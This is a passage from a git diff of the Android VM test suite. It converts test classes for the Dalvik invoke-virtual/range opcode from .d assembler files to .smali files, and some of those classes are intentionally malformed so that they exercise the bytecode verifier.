+    move-object v3, v6
+
+    invoke-virtual/range {v3..v5}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.d
deleted file mode 100644
index d42643b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_15.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15/testN()V
-       return-void
-.end method
-
-.method public test()V
-.limit regs 1
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali
new file mode 100644
index 0000000..3f3d97a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15;->testN()V
+       return-void
+.end method
+
+.method public test()V
+.registers 1
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.d
deleted file mode 100644
index 5a71786..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.d
+++ /dev/null
@@ -1,26 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_16.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       invoke-virtual/range {v2}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali
new file mode 100644
index 0000000..a18538e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-virtual/range {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.d
deleted file mode 100644
index 173c6bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_17.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_17
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali
new file mode 100644
index 0000000..b183185
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.d
deleted file mode 100644
index cc11d06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_18.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
-.limit regs 5
-       invoke-virtual/range {v4}, dot/junit/opcodes/invoke_virtual_range/TestStubs/TestStub()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali
new file mode 100644
index 0000000..cdf94b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
+.registers 5
+       invoke-virtual/range {v4}, Ldot/junit/opcodes/invoke_virtual_range/TestStubs;->TestStub()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.d
deleted file mode 100644
index 704726b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_19.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_19
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       move-object v2, v3
-       const/4 v3, 1
-       invoke-virtual/range {v2..v3}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19/toInt(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali
new file mode 100644
index 0000000..59d6b53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_19.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       move-object v2, v3
+       const/4 v3, 1
+       invoke-virtual/range {v2..v3}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19;->toInt(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.d
deleted file mode 100644
index eac70b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.d
+++ /dev/null
@@ -1,77 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_2.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test(IIIIIIIIII)I
-.limit regs 11
-    const v0, 10
-    if-ne v0, v10, Label0
-    const v0, 9
-    if-ne v0, v9, Label0
-    const v0, 8
-    if-ne v0, v8, Label0
-    const v0, 7
-    if-ne v0, v7, Label0
-    const v0, 6
-    if-ne v0, v6, Label0
-    const v0, 5
-    if-ne v0, v5, Label0
-    const v0, 4
-    if-ne v0, v4, Label0
-    const v0, 3
-    if-ne v0, v3, Label0
-    const v0, 2
-    if-ne v0, v2, Label0
-    const v0, 1
-    if-ne v0, v1, Label0
-
-    const v0, 1
-    return v0
-Label0:
-    const v0, 0
-    return v0
-
-.end method
-
-.method public run()I
-.limit regs 16
-       move-object v0, v15
-         const v1, 1
-          const v2, 2
-          const v3, 3
-          const v4, 4
-          const v5, 5
-          const v6, 6
-          const v7, 7
-          const v8, 8
-          const v9, 9
-          const v10, 10
-
-       invoke-virtual/range {v0..v10}, dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_2/test(IIIIIIIIII)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali
new file mode 100644
index 0000000..a7f8d0c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali
@@ -0,0 +1,77 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(IIIIIIIIII)I
+.registers 11
+    const v0, 10
+    if-ne v0, v10, :Label0
+    const v0, 9
+    if-ne v0, v9, :Label0
+    const v0, 8
+    if-ne v0, v8, :Label0
+    const v0, 7
+    if-ne v0, v7, :Label0
+    const v0, 6
+    if-ne v0, v6, :Label0
+    const v0, 5
+    if-ne v0, v5, :Label0
+    const v0, 4
+    if-ne v0, v4, :Label0
+    const v0, 3
+    if-ne v0, v3, :Label0
+    const v0, 2
+    if-ne v0, v2, :Label0
+    const v0, 1
+    if-ne v0, v1, :Label0
+
+    const v0, 1
+    return v0
+:Label0
+    const v0, 0
+    return v0
+
+.end method
+
+.method public run()I
+.registers 16
+       move-object v0, v15
+         const v1, 1
+          const v2, 2
+          const v3, 3
+          const v4, 4
+          const v5, 5
+          const v6, 6
+          const v7, 7
+          const v8, 8
+          const v9, 9
+          const v10, 10
+
+       invoke-virtual/range {v0..v10}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2;->test(IIIIIIIIII)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.d
deleted file mode 100644
index ab7a4cd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_20.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
-.limit regs 5
-Label0:
-
-       invoke-virtual/range {v4}, dot/junit/opcodes/invoke_virtual_range/TestStubs/TestStubP()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali
new file mode 100644
index 0000000..d73686f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
+.registers 5
+:Label0
+
+       invoke-virtual/range {v4}, Ldot/junit/opcodes/invoke_virtual_range/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.d
deleted file mode 100644
index 6f6fad5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_22.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_22
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_virtual_range/d/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_virtual_range/d/TPlain/<init>()V
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali
new file mode 100644
index 0000000..73d9a3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;-><init>()V
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.d
deleted file mode 100644
index cf21428..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_23.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_23
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_virtual_range/d/TSuper
-       invoke-direct {v2}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/TSuper2/test()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali
new file mode 100644
index 0000000..2441851
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_23.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.d
deleted file mode 100644
index 9e2022f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TTestInterface.java
-.interface public dot.junit.opcodes.invoke_virtual_range.d.TTestInterface
-
-.method public abstract test()V
-.end method
-
-.source T_invoke_virtual_range_24.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_24
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_virtual_range.d.TTestInterface
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
